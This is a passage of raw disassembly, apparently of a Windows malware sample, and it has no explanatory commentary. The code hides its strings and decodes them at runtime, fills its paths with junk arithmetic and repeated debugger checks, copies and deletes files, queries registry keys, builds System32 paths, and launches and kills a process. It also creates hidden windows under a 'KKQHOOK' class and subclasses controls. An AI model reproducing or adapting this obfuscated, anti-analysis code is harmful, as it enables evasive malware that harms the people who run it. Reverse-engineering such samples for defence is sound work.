		call	sub_408AB9
		add	esp, 8
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40CC74
		add	esp, 8
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	offset dword_41E8D0
		call	sub_40C86C	; CopyFileA
		call	sub_40C764	; RtlGetLastWin32Error
		mov	ax, word_446968
		mov	[ebp+var_372], ax
		mov	[ebp+var_36C], 104h
		mov	[ebp+var_24F], 22h
		sub	[ebp+var_24F], 0CDh
		push	21h
		push	offset word_446E52
		call	sub_408AB9
		add	esp, 8
		mov	[ebp+var_388], eax
		push	4
		push	offset byte_446E4D
		call	sub_408AB9
		add	esp, 8
		lea	edi, [ebp+var_378]
		push	edi
		lea	edi, [ebp+var_36C]
		push	edi
		lea	edi, [ebp+var_365]
		push	edi
		push	eax
		mov	edi, [ebp+var_388]
		push	[ebp+var_388]
		push	80000002h
		call	sub_4014C9
		add	esp, 18h
		mov	ebx, eax
		call	sub_40C854	; IsDebuggerPresent
		cmp	ebx, 0
		jz	loc_408E0D
		call	sub_40C794	; GetProcessHeap
		lea	edi, [ebp+var_37F]
		lea	esi, a99a_0	; "-; 99a"
		mov	ecx, 7
		rep movsb
		push	104h
		lea	eax, [ebp+var_24E]
		push	eax
		lea	eax, [ebp+var_365]
		push	eax
		call	sub_40C71C	; ExpandEnvironmentStringsA
		call	sub_40C7D0	; GetVersion
		push	0Eh
		push	offset word_446E3E
		call	sub_408AB9
		push	eax
		lea	edi, [ebp+var_24E]
		push	edi
		call	sub_40CC74
		call	sub_40C7C4	; GetTickCount
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_24E]
		push	eax
		call	sub_40CC74
		call	sub_40C764	; RtlGetLastWin32Error
		call	sub_4043CA
		mov	ebx, eax
		mov	eax, dword_446971
		mov	[ebp+var_383], eax
		push	44h
		push	0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40CC20
		push	44h
		push	0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40CC20
		add	esp, 30h
		mov	[ebp+var_250], 69h
		add	[ebp+var_250], 1
		mov	[ebp+var_148], 44h
		mov	[ebp+var_251], 19h
		movzx	eax, [ebp+var_251]
		imul	eax, 1598h
		mov	[ebp+var_251], al
		mov	[ebp+var_11C], 1
		mov	[ebp+var_118], 1
		or	ebx, ebx
		jz	short loc_408D84
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40446E
		pop	ecx
		jmp	short loc_408D8D
; ---------------------------------------------------------------------------

loc_408D84:				; CODE XREF: sub_408B4C+227j
		mov	[ebp+var_118], 0

loc_408D8D:				; CODE XREF: sub_408B4C+236j
		lea	eax, [ebp+var_261]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		push	0
		push	0
		push	20h
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_24E]
		push	eax
		push	0
		call	sub_40C974	; CreateProcessA
		or	eax, eax
		jz	short loc_408E01
		call	sub_40C734	; GetCurrentProcessId
		push	[ebp+var_25D]
		call	sub_40C7AC	; CloseHandle
		mov	eax, dword_446975
		mov	[ebp+var_38C], eax
		push	0EA60h
		call	sub_40CBD8
		pop	ecx
		call	sub_40C854	; IsDebuggerPresent
		push	0
		push	[ebp+var_261]
		call	sub_40C8FC	; TerminateProcess
		push	[ebp+var_261]
		call	sub_40C7AC	; CloseHandle
		call	sub_40C740	; GetCurrentThreadId

loc_408E01:				; CODE XREF: sub_408B4C+26Bj
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C704	; DeleteFileA

loc_408E0D:				; CODE XREF: sub_408B4C+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E12	proc near		; CODE XREF: sub_408ED0+2Cp
					; sub_408ED0+46p ...

var_1018	= byte ptr -1018h
var_1011	= byte ptr -1011h
var_1009	= byte ptr -1009h
var_1001	= byte ptr -1001h
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1018h
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_1009]
		lea	esi, asc_446979	; ";'*l & "
		movsd
		movsd
		push	5
		push	[ebp+arg_0]
		call	sub_40C9BC	; GetWindow
		mov	ebx, eax

loc_408E3C:				; CODE XREF: sub_408E12+B4j
		or	ebx, ebx
		jnz	short loc_408E47
		xor	eax, eax
		jmp	loc_408ECB
; ---------------------------------------------------------------------------

loc_408E47:				; CODE XREF: sub_408E12+2Cj
		mov	[ebp+var_2], 6C09h
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		push	0FFFh
		lea	eax, [ebp+var_1001]
		push	eax
		push	ebx
		call	sub_40C9C8	; GetClassNameA
		lea	edi, [ebp+var_1011]
		lea	esi, aHjvmnia	; "hJVmnIA"
		movsd
		movsd
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_1001]
		push	eax
		call	sub_40181A
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_408EA4
		mov	eax, ebx
		jmp	short loc_408ECB
; ---------------------------------------------------------------------------

loc_408EA4:				; CODE XREF: sub_408E12+8Cj
		call	sub_40C734	; GetCurrentProcessId
		push	2
		push	ebx
		call	sub_40C9BC	; GetWindow
		mov	ebx, eax
		lea	edi, [ebp+var_1018]
		lea	esi, aP_rX	; "p+_R'X"
		mov	ecx, 7
		rep movsb
		jmp	loc_408E3C
; ---------------------------------------------------------------------------

loc_408ECB:				; CODE XREF: sub_408E12+30j
					; sub_408E12+90j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408E12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408ED0	proc near		; CODE XREF: sub_40B3E8+1D6p

var_184		= dword	ptr -184h
var_180		= dword	ptr -180h
var_179		= byte ptr -179h
var_178		= dword	ptr -178h
var_172		= byte ptr -172h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_163		= byte ptr -163h
var_15D		= byte ptr -15Dh
var_158		= byte ptr -158h
var_150		= dword	ptr -150h
var_14C		= byte ptr -14Ch
var_146		= byte ptr -146h
var_143		= byte ptr -143h
var_13B		= byte ptr -13Bh
var_138		= byte ptr -138h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_126		= word ptr -126h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_119		= byte ptr -119h
var_118		= word ptr -118h
var_116		= word ptr -116h
var_114		= word ptr -114h
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= dword	ptr -10Ah
var_106		= dword	ptr -106h
var_102		= byte ptr -102h
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 184h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_118], 37B0h
		inc	[ebp+var_118]
		push	9
		push	offset aRIA	; ""
		call	sub_40129C
		push	eax
		push	[ebp+arg_0]
		call	sub_408E12
		mov	ebx, eax
		call	sub_40C734	; GetCurrentProcessId
		push	8
		push	offset aSmdJJ	; ""
		call	sub_40129C
		push	eax
		push	ebx
		call	sub_408E12
		mov	ds:dword_41D89C, eax
		mov	[ebp+var_114], 6B90h
		movzx	eax, [ebp+var_114]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_114], ax
		push	0
		push	ds:dword_41D89C
		call	sub_40CAAC	; ShowWindow
		call	sub_40C7C4	; GetTickCount
		lea	eax, [ebp+var_112]
		push	eax
		push	ebx
		call	sub_40C9A4	; GetWindowRect
		mov	[ebp+var_119], 0EFh
		add	[ebp+var_119], 0D4h
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ebx
		mov	eax, [ebp+var_106]
		sub	eax, [ebp+var_10E]
		push	eax
		mov	eax, [ebp+var_10A]
		sub	eax, [ebp+var_112]
		push	eax
		push	0
		push	0
		push	50800000h
		push	offset byte_447529
		push	offset aKkqhook	; "KKQHOOK"
		push	200h
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_41FB04, eax
		lea	edi, [ebp+var_138]
		lea	esi, aFxTE	; "fX $t!E"
		movsd
		movsd
		push	6
		push	offset aZaxaac	; ""
		call	sub_40129C
		mov	[ebp+var_168], eax
		push	19h
		push	offset byte_446E01
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_41FB04
		mov	edi, dword_43C098
		mov	esi, edi
		add	esi, 2Ah
		push	esi
		mov	esi, [ebp+var_10A]
		sub	esi, [ebp+var_112]
		sub	esi, 64h
		push	esi
		add	edi, 2
		push	edi
		push	edi
		push	50800000h
		push	eax
		mov	edi, [ebp+var_168]
		push	edi
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_41D898, eax
		call	sub_40C794	; GetProcessHeap
		push	6
		push	offset aZaxaac	; ""
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_41FB04
		mov	edi, dword_43C098
		add	edi, 11Ah
		push	edi
		mov	edi, [ebp+var_10A]
		sub	edi, [ebp+var_112]
		sub	edi, 64h
		push	edi
		mov	edi, dword_43C098
		add	edi, 3Fh
		push	edi
		mov	edi, dword_43C098
		add	edi, 2
		push	edi
		push	50800009h
		push	offset byte_447529
		push	eax
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_430C28, eax
		call	sub_40C740	; GetCurrentThreadId
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		push	0
		push	0
		push	0
		push	2BCh
		push	0
		push	0
		mov	eax, dword_43C098
		mov	edx, 1Ah
		sub	edx, eax
		push	edx
		mov	eax, dword_43C098
		add	eax, 2
		push	eax
		call	sub_40CB18	; CreateFontA
		mov	[ebp+var_130], eax
		lea	edi, [ebp+var_13B]
		lea	esi, aQa	; "qA"
		mov	ecx, 3
		rep movsb
		push	1
		push	[ebp+var_130]
		push	30h
		push	ds:dword_41D898
		call	sub_40CA88	; SendMessageA
		push	8
		push	offset aCiscicim ; ""
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_430C28
		mov	edi, dword_43C098
		add	edi, 11Ah
		push	edi
		mov	edi, dword_43C098
		add	edi, 20h
		push	edi
		mov	edi, dword_43C098
		add	edi, 28h
		push	edi
		mov	edi, dword_43C098
		add	edi, 2
		push	edi
		push	50800003h
		push	offset byte_447529
		push	eax
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_432DC0, eax
		push	8
		push	offset aCiscicim ; ""
		call	sub_40129C
		add	esp, 48h
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_430C28
		mov	edi, dword_43C098
		add	edi, 11Ah
		push	edi
		mov	edi, dword_43C098
		add	edi, 2Ah
		push	edi
		mov	edi, dword_43C098
		add	edi, 28h
		push	edi
		mov	edi, dword_43C094
		add	edi, 4Dh
		push	edi
		push	50800003h
		push	offset byte_447529
		push	eax
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_41E8C4, eax
		mov	[ebp+var_116], 5444h
		movzx	eax, [ebp+var_116]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_116], ax
		mov	[ebp+var_2], 1
		jmp	loc_409299
; ---------------------------------------------------------------------------

loc_4091E0:				; CODE XREF: sub_408ED0+3D0j
		call	sub_40C854	; IsDebuggerPresent
		lea	edi, [ebp+var_179]
		lea	esi, byte_44699B
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	4
		push	offset byte_446DF3
		call	sub_40129C
		movzx	edi, [ebp+var_2]
		push	edi
		push	eax
		lea	edi, [ebp+var_172]
		push	edi
		call	sub_40CC50
		mov	[ebp+var_178], 269Fh
		mov	eax, 5D57h
		mul	[ebp+var_178]
		mov	[ebp+var_180], eax
		mov	[ebp+var_178], eax
		lea	eax, [ebp+var_172]
		push	eax
		push	0
		push	143h
		push	ds:dword_432DC0
		call	sub_40CA88	; SendMessageA
		push	6
		push	offset dword_446DEC
		call	sub_40129C
		movzx	edi, [ebp+var_2]
		add	edi, 4
		push	edi
		push	eax
		lea	edi, [ebp+var_172]
		push	edi
		call	sub_40CC50
		add	esp, 28h
		call	sub_40C7D0	; GetVersion
		lea	eax, [ebp+var_172]
		push	eax
		push	0
		push	143h
		push	ds:dword_41E8C4
		call	sub_40CA88	; SendMessageA
		call	sub_40C740	; GetCurrentThreadId
		inc	[ebp+var_2]

loc_409299:				; CODE XREF: sub_408ED0+30Bj
		movzx	eax, [ebp+var_2]
		cmp	eax, 0Dh
		jl	loc_4091E0
		push	6
		push	offset aZaxaac	; ""
		call	sub_40129C
		mov	[ebp+var_16C], eax
		push	10h
		push	offset byte_446DDB
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_41FB04
		mov	edi, dword_43C098
		mov	esi, 22h
		sub	esi, edi
		push	esi
		mov	edi, dword_43C098
		add	edi, 55h
		push	edi
		mov	edi, dword_43C098
		add	edi, 5Ch
		push	edi
		mov	edi, dword_43C098
		add	edi, 0B1h
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_16C]
		push	edi
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_413F20, eax
		push	6
		push	offset aZaxaac	; ""
		call	sub_40129C
		mov	[ebp+var_170], eax
		push	0Fh
		push	offset byte_446DCB
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_41FB04
		mov	edi, dword_43C094
		add	edi, 0Bh
		push	edi
		mov	edi, dword_43C098
		add	edi, 45h
		push	edi
		mov	edi, dword_43C098
		add	edi, 7Fh
		push	edi
		mov	edi, dword_43C094
		add	edi, 0BEh
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_170]
		push	edi
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_432DB8, eax
		push	6
		push	offset aZaxaac	; ""
		call	sub_40129C
		mov	[ebp-174h], eax
		push	0Ch
		push	offset word_446DBE
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_41FB04
		mov	edi, dword_43C094
		add	edi, 0Bh
		push	edi
		mov	edi, dword_43C098
		add	edi, 44h
		push	edi
		mov	edi, dword_43C098
		add	edi, 0A7h
		push	edi
		mov	edi, dword_43C098
		add	edi, 0B1h
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp-174h]
		push	edi
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_4351D8, eax
		push	6
		push	offset aZaxaac	; ""
		call	sub_40129C
		mov	[ebp+var_178], eax
		push	4Ah
		push	offset byte_446D73
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_41FB04
		mov	edi, dword_43C098
		mov	esi, 22h
		sub	esi, edi
		push	esi
		mov	edi, dword_43C098
		add	edi, 1D2h
		push	edi
		mov	edi, dword_43C098
		add	edi, 0D4h
		push	edi
		mov	edi, dword_43C094
		add	edi, 19h
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_178]
		push	edi
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_432DBC, eax
		push	6
		push	offset aZaxaac	; ""
		call	sub_40129C
		mov	[ebp-17Ch], eax
		push	26h
		push	offset dword_446D4C
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_41FB04
		mov	edi, dword_43C094
		add	edi, 0Bh
		push	edi
		mov	edi, dword_43C098
		add	edi, 0EBh
		push	edi
		mov	edi, dword_43C094
		add	edi, 0FAh
		push	edi
		mov	edi, dword_43C098
		add	edi, 0Ch
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp-17Ch]
		push	edi
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_43A558, eax
		push	offset byte_433FE0
		lea	eax, [ebp+var_102]
		push	eax
		call	sub_40CC50
		add	esp, 58h
		lea	edi, [ebp+var_143]
		lea	esi, aZ_y9am4	; "z.y9aM4"
		movsd
		movsd
		mov	[ebp+var_3], 4
		jmp	short loc_409529
; ---------------------------------------------------------------------------

loc_409519:				; CODE XREF: sub_408ED0+65Ej
		movzx	eax, [ebp+var_3]
		mov	[ebp+eax+var_102], 78h
		add	[ebp+var_3], 1

loc_409529:				; CODE XREF: sub_408ED0+647j
		mov	al, [ebp+var_3]
		cmp	al, 0Ch
		jb	short loc_409519
		call	sub_40C854	; IsDebuggerPresent
		push	4
		push	offset aSraa	; ""
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_430C28
		mov	edi, dword_43C098
		mov	esi, edi
		add	esi, 6
		push	esi
		mov	esi, edi
		add	esi, 70h
		push	esi
		add	edi, 2
		push	edi
		push	edi
		push	50800800h
		lea	edi, [ebp+var_102]
		push	edi
		push	eax
		push	200h
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_41081C, eax
		mov	[ebp+var_120], 70h
		mov	eax, 829h
		mul	[ebp+var_120]
		mov	[ebp+var_180], eax
		mov	[ebp+var_120], eax
		push	4
		push	offset aSraa	; ""
		call	sub_40129C
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_430C28
		mov	edi, dword_43C098
		add	edi, 6
		push	edi
		mov	edi, dword_43C094
		add	edi, 41h
		push	edi
		mov	edi, dword_43C098
		add	edi, 4Dh
		push	edi
		mov	edi, dword_43C098
		add	edi, 2
		push	edi
		push	50800000h
		push	offset byte_447529
		push	eax
		push	200h
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_41E8BC, eax
		lea	edi, [ebp+var_146]
		lea	esi, a3h	; "3h"
		mov	ecx, 3
		rep movsb
		push	0
		push	78h
		push	0CCh
		push	ds:dword_41E8BC
		call	sub_40CA88	; SendMessageA
		call	sub_40C734	; GetCurrentProcessId
		push	6
		push	offset aCbaai	; ""
		call	sub_40129C
		mov	[ebp+var_184], eax
		push	16h
		push	offset byte_446D29
		call	sub_40129C
		add	esp, 20h
		push	0
		push	ds:dword_41E8CC
		push	0
		push	ds:dword_41FB04
		mov	edi, dword_43C098
		add	edi, 5
		push	edi
		mov	edi, dword_43C094
		add	edi, 96h
		push	edi
		mov	edi, dword_43C098
		add	edi, 12Eh
		push	edi
		mov	edi, dword_43C098
		add	edi, 0Ch
		push	edi
		push	50800000h
		push	eax
		mov	edi, [ebp+var_184]
		push	edi
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_4351DC, eax
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		push	0
		push	0
		push	0
		push	190h
		push	0
		push	0
		mov	eax, dword_43C094
		inc	eax
		push	eax
		mov	eax, 22h
		sub	eax, dword_43C098
		push	eax
		call	sub_40CB18	; CreateFontA
		mov	ebx, eax
		call	sub_40C7D0	; GetVersion
		push	1
		push	ebx
		push	30h
		push	ds:dword_432DC0
		call	sub_40CA88	; SendMessageA
		lea	edi, [ebp+var_14C]
		lea	esi, aOi6	; " oi%6"
		mov	ecx, 3
		rep movsw
		push	1
		push	ebx
		push	30h
		push	ds:dword_41E8C4
		call	sub_40CA88	; SendMessageA
		mov	eax, dword_4469AD
		mov	[ebp+var_150], eax
		push	1
		push	ebx
		push	30h
		push	ds:dword_41081C
		call	sub_40CA88	; SendMessageA
		lea	edi, [ebp+var_158]
		lea	esi, a@gduN	; "@GDu	N!"
		mov	ecx, 2
		rep movsd
		push	1
		push	ebx
		push	30h
		push	ds:dword_41E8BC
		call	sub_40CA88	; SendMessageA
		mov	[ebp+var_124], 2D6Ah
		inc	[ebp+var_124]
		push	1
		push	ebx
		push	30h
		push	ds:dword_432DB8
		call	sub_40CA88	; SendMessageA
		call	sub_40C764	; RtlGetLastWin32Error
		push	1
		push	ebx
		push	30h
		push	ds:dword_413F20
		call	sub_40CA88	; SendMessageA
		lea	edi, [ebp+var_15D]
		lea	esi, aG_	; "G!_`"
		mov	ecx, 5
		rep movsb
		push	1
		push	ebx
		push	30h
		push	ds:dword_4351D8
		call	sub_40CA88	; SendMessageA
		call	sub_40C734	; GetCurrentProcessId
		push	1
		push	ebx
		push	30h
		push	ds:dword_4351DC
		call	sub_40CA88	; SendMessageA
		call	sub_40C854	; IsDebuggerPresent
		push	0FFFFFFFCh
		push	ds:dword_432DC0
		call	sub_40CA28	; GetWindowLongA
		mov	ds:dword_41F9F4, eax
		mov	[ebp+var_126], 1283h
		inc	[ebp+var_126]
		push	offset sub_40B2CA
		push	0FFFFFFFCh
		push	ds:dword_432DC0
		call	sub_40CA34	; SetWindowLongA
		lea	edi, [ebp+var_163]
		lea	esi, word_4469BE
		mov	ecx, 3
		rep movsw
		push	0FFFFFFFCh
		push	ds:dword_41E8C4
		call	sub_40CA28	; GetWindowLongA
		mov	ds:dword_41E8C0, eax
		push	offset sub_40B2CA
		push	0FFFFFFFCh
		push	ds:dword_41E8C4
		call	sub_40CA34	; SetWindowLongA
		call	sub_40C794	; GetProcessHeap
		push	0FFFFFFFCh
		push	ds:dword_41081C
		call	sub_40CA28	; GetWindowLongA
		mov	ds:dword_40E078, eax
		mov	[ebp+var_12C], 373Eh
		inc	[ebp+var_12C]
		push	offset sub_40B2CA
		push	0FFFFFFFCh
		push	ds:dword_41081C
		call	sub_40CA34	; SetWindowLongA
		push	0FFFFFFFCh
		push	ds:dword_41E8BC
		call	sub_40CA28	; GetWindowLongA
		mov	ds:dword_413F1C, eax
		call	sub_40C854	; IsDebuggerPresent
		push	offset sub_40B2CA
		push	0FFFFFFFCh
		push	ds:dword_41E8BC
		call	sub_40CA34	; SetWindowLongA
		call	sub_40C764	; RtlGetLastWin32Error
		push	ds:dword_432DC0
		call	sub_40C9D4	; SetFocus
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408ED0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4098A8	proc near		; DATA XREF: sub_40AA24+80Fo

var_5614	= dword	ptr -5614h
var_5610	= dword	ptr -5610h
var_5609	= byte ptr -5609h
var_5602	= word ptr -5602h
var_5600	= dword	ptr -5600h
var_55FA	= byte ptr -55FAh
var_55F9	= byte ptr -55F9h
var_55F8	= dword	ptr -55F8h
var_55F4	= dword	ptr -55F4h
var_55F0	= dword	ptr -55F0h
var_55EC	= byte ptr -55ECh
var_55EA	= dword	ptr -55EAh
var_55E6	= dword	ptr -55E6h
var_55E1	= byte ptr -55E1h
var_55DC	= dword	ptr -55DCh
var_55D6	= byte ptr -55D6h
var_472D	= byte ptr -472Dh
var_472C	= byte ptr -472Ch
var_4724	= byte ptr -4724h
var_471F	= byte ptr -471Fh
var_4718	= dword	ptr -4718h
var_4714	= byte ptr -4714h
var_470C	= dword	ptr -470Ch
var_4708	= dword	ptr -4708h
var_4702	= byte ptr -4702h
var_4701	= byte ptr -4701h
var_4700	= word ptr -4700h
var_46FE	= word ptr -46FEh
var_46FC	= dword	ptr -46FCh
var_46F5	= byte ptr -46F5h
var_46F4	= byte ptr -46F4h
var_46F0	= dword	ptr -46F0h
var_46EC	= dword	ptr -46ECh
var_46E6	= word ptr -46E6h
var_46E4	= dword	ptr -46E4h
var_46E0	= dword	ptr -46E0h
var_46DA	= byte ptr -46DAh
var_45E8	= dword	ptr -45E8h
var_45E4	= dword	ptr -45E4h
var_45E0	= dword	ptr -45E0h
var_45DB	= byte ptr -45DBh
var_45D7	= byte ptr -45D7h
var_35DF	= byte ptr -35DFh
var_35DE	= byte ptr -35DEh
var_35DD	= byte ptr -35DDh
var_35DC	= dword	ptr -35DCh
var_35D8	= dword	ptr -35D8h
var_35D2	= word ptr -35D2h
var_35D0	= word ptr -35D0h
var_35CE	= byte ptr -35CEh
var_35CD	= byte ptr -35CDh
var_25CE	= word ptr -25CEh
var_25CC	= dword	ptr -25CCh
var_25C5	= byte ptr -25C5h
var_25C4	= byte ptr -25C4h
var_25C1	= byte ptr -25C1h
var_25BF	= byte ptr -25BFh
var_15D0	= dword	ptr -15D0h
var_15CC	= dword	ptr -15CCh
var_15C6	= byte ptr -15C6h
var_15C5	= byte ptr -15C5h
var_15C2	= word ptr -15C2h
var_15C0	= dword	ptr -15C0h
var_15BC	= dword	ptr -15BCh
var_15B8	= dword	ptr -15B8h
var_1163	= byte ptr -1163h
var_1162	= dword	ptr -1162h
var_115E	= byte ptr -115Eh
var_1158	= byte ptr -1158h
var_1155	= byte ptr -1155h
var_1154	= byte ptr -1154h
var_114D	= byte ptr -114Dh
var_1146	= byte ptr -1146h
var_1145	= byte ptr -1145h
var_1140	= dword	ptr -1140h
var_113C	= byte ptr -113Ch
var_113B	= byte ptr -113Bh
var_1134	= byte ptr -1134h
var_112E	= word ptr -112Eh
var_112B	= byte ptr -112Bh
var_102C	= dword	ptr -102Ch
var_1028	= dword	ptr -1028h
var_1024	= dword	ptr -1024h
var_101F	= byte ptr -101Fh
var_101E	= word ptr -101Eh
var_101C	= dword	ptr -101Ch
var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= byte ptr -1010h
var_F0C		= dword	ptr -0F0Ch
var_F08		= byte ptr -0F08h
var_708		= dword	ptr -708h
var_703		= byte ptr -703h
var_604		= dword	ptr -604h
var_600		= byte ptr -600h
var_5A8		= byte ptr -5A8h
var_5A7		= byte ptr -5A7h
var_400		= byte ptr -400h

		push	ebp
		mov	ebp, esp
		mov	eax, 5614h
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		call	sub_40C7D0	; GetVersion
		mov	ax, word_4469C4
		mov	[ebp+var_112E+1], ax
		lea	edi, [ebp+var_1134]
		lea	esi, a2gtF	; "2GT<!f"
		mov	ecx, 7
		rep movsb
		lea	edi, [ebp+var_113B]
		lea	esi, aNjbS9	; "NJb s9"
		mov	ecx, 7
		rep movsb
		lea	edi, [ebp+var_113C]
		lea	esi, byte_4469D4
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, dword_4469D5
		mov	[ebp+var_1140],	eax
		lea	edi, [ebp+var_1145]
		lea	esi, a_3v	; ". 3"
		mov	ecx, 5
		rep movsb
		call	sub_40C7C4	; GetTickCount
		push	eax
		call	sub_40CC5C
		pop	ecx
		mov	[ebp+var_101C],	6594h
		inc	[ebp+var_101C]

loc_40993B:				; CODE XREF: sub_4098A8+1108j
		lea	edi, [ebp+var_1146]
		lea	esi, byte_4469DE
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, dword_43C094
		add	eax, 3
		push	eax
		lea	eax, [ebp+var_703]
		push	eax
		call	sub_40172F
		push	9
		push	offset byte_446D1F
		call	sub_40129C
		lea	edi, [ebp+var_703]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		lea	edi, [ebp+var_400]
		push	edi
		call	sub_40CC50
		call	sub_40C854	; IsDebuggerPresent
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40341E
		mov	[ebp+var_101E],	5439h
		sub	[ebp+var_101E],	33A0h
		lea	edi, [ebp+var_114D]
		lea	esi, aSiYy	; "<si+yY"
		mov	ecx, 7
		rep movsb
		push	9
		push	offset byte_446D15
		call	sub_40129C
		mov	edi, dword_43C0BC
		push	off_43C0C4[edi*4]
		push	eax
		lea	edi, [ebp+var_F08]
		push	edi
		call	sub_40CC50
		push	1
		push	offset byte_446D13
		call	sub_40129C
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi
		push	eax
		mov	edi, dword_43C0BC
		push	off_43C0C4[edi*4]
		call	sub_40181A
		add	esp, 4Ch
		cmp	eax, 0FFFFh
		jnz	short loc_409A33
		push	9
		push	offset byte_446D09
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_F08]
		push	edi
		call	sub_40CC74
		add	esp, 10h

loc_409A33:				; CODE XREF: sub_4098A8+16Dj
		call	sub_40C854	; IsDebuggerPresent
		and	[ebp+var_1018],	0
		mov	[ebp+var_102C],	4
		lea	edi, [ebp+var_1155]
		lea	esi, byte_4469E6
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	1Ah
		push	offset aZAgJIsJZAigGz ;	""
		call	sub_40129C
		mov	[ebp+var_15B8],	eax
		push	3
		push	offset word_446CEA
		call	sub_40129C
		lea	edi, [ebp+var_1154]
		push	edi
		lea	edi, [ebp+var_102C]
		push	edi
		lea	edi, [ebp+var_1018]
		push	edi
		push	eax
		mov	edi, [ebp+var_15B8]
		push	edi
		push	80000001h
		call	sub_4014C9
		mov	[ebp+var_101F],	6Ah
		add	[ebp+var_101F],	1
		lea	edi, [ebp+var_1158]
		lea	esi, asc_4469E7	; "*/"
		mov	ecx, 3
		rep movsb
		push	7
		push	offset word_446CE2
		call	sub_40129C
		push	[ebp+var_1018]
		push	eax
		lea	edi, [ebp+var_112B]
		push	edi
		call	sub_40CC50
		call	sub_40C764	; RtlGetLastWin32Error
		lea	eax, [ebp+var_112B]
		push	eax
		lea	eax, [ebp+var_F08]
		push	eax
		call	sub_40CC74
		mov	[ebp+var_1024],	7ED9h
		mov	eax, 39E6h
		mul	[ebp+var_1024]
		mov	[ebp+var_15BC],	eax
		mov	[ebp+var_1024],	eax
		push	1
		push	offset byte_446CE0
		call	sub_40129C
		lea	edi, [ebp+var_604]
		push	edi
		push	0
		push	0
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		lea	edi, [ebp+var_400]
		push	edi
		lea	edi, [ebp+var_F08]
		push	edi
		push	0
		call	sub_4061F7
		add	esp, 6Ch
		mov	ebx, eax
